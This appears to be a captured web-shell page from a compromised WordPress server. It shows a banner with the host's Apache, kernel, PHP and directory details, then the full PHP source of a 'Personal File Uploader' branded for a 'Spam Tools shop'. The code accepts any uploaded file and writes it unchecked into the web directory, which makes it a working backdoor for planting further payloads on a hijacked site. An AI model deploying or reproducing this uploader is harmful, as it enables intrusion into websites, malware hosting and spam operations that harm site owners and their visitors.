Server : Apache/2.4.41 (Ubuntu) System : Linux wpfpm 5.4.0-1133-kvm #142-Ubuntu SMP Fri May 2 19:51:44 UTC 2025 x86_64 User : wp21 ( 1023) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /var/www/html/wp21/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Personal File Uploader</title> <meta name="generator" content="sellex" /> <meta name="author" content="sellex" /> <meta name="description" content="[ sellex ]" /> <style> body { background: #000000 url(https://wallpaperaccess.com/full/1556608.jpg) scroll repeat center center; color: silver; font-family: Comic Sans MS; font-size: 14px; font-weight: bold } #black{ text-align: center; font-size:14px; font-weight: bold; } a:link, a:visited {font-weight:normal; text-decoration:none; color:silver;} a:hover {font-weight:bold; text-decoration:none; cursor:default;} </style> </head> <body> <?php $myUpload = new maxUpload(); //$myUpload->setUploadLocation(getcwd().DIRECTORY_SEPARATOR); $myUpload->uploadFile(); ?> <?php class maxUpload{ var $uploadLocation; function maxUpload(){ $this->uploadLocation = getcwd().DIRECTORY_SEPARATOR; } function setUploadLocation($dir){ $this->uploadLocation = $dir; } function showUploadForm($msg='',$error=''){ ?> <div id="container"> <center><b>Spam Tools shop</b></center><br/> <center><b>https://sellex.pw/</b></center><br/> <?php if ($msg != ''){ echo '<p class="msg">'.$msg.'</p>'; } else if ($error != ''){ echo '<p class="emsg">'.$error.'</p>'; } ?> <form action="" method="post" enctype="multipart/form-data" > <center> <label><b>File: </b> <input name="myfile" type="file" size="30" /> </label> <label> <input type="submit" name="submitBtn" class="sbtn" value="Upload" /> </label> </center> </form> </div> <?php } function uploadFile(){ if (!isset($_POST['submitBtn'])){ $this->showUploadForm(); } else { $msg = ''; $error = ''; //Check destination directory if (!file_exists($this->uploadLocation)){ $error = "The target directory doesn't exists!"; } else if (!is_writeable($this->uploadLocation)) { $error = "The target directory is not writeable!"; } else { $target_path = $this->uploadLocation . basename( $_FILES['myfile']['name']); if(@move_uploaded_file($_FILES['myfile']['tmp_name'], $target_path)) { $msg = basename( $_FILES['myfile']['name']). " was uploaded successfully!"; } else{ $error = "The upload process failed!"; } } $this->showUploadForm($msg,$error); } } } ?> </body>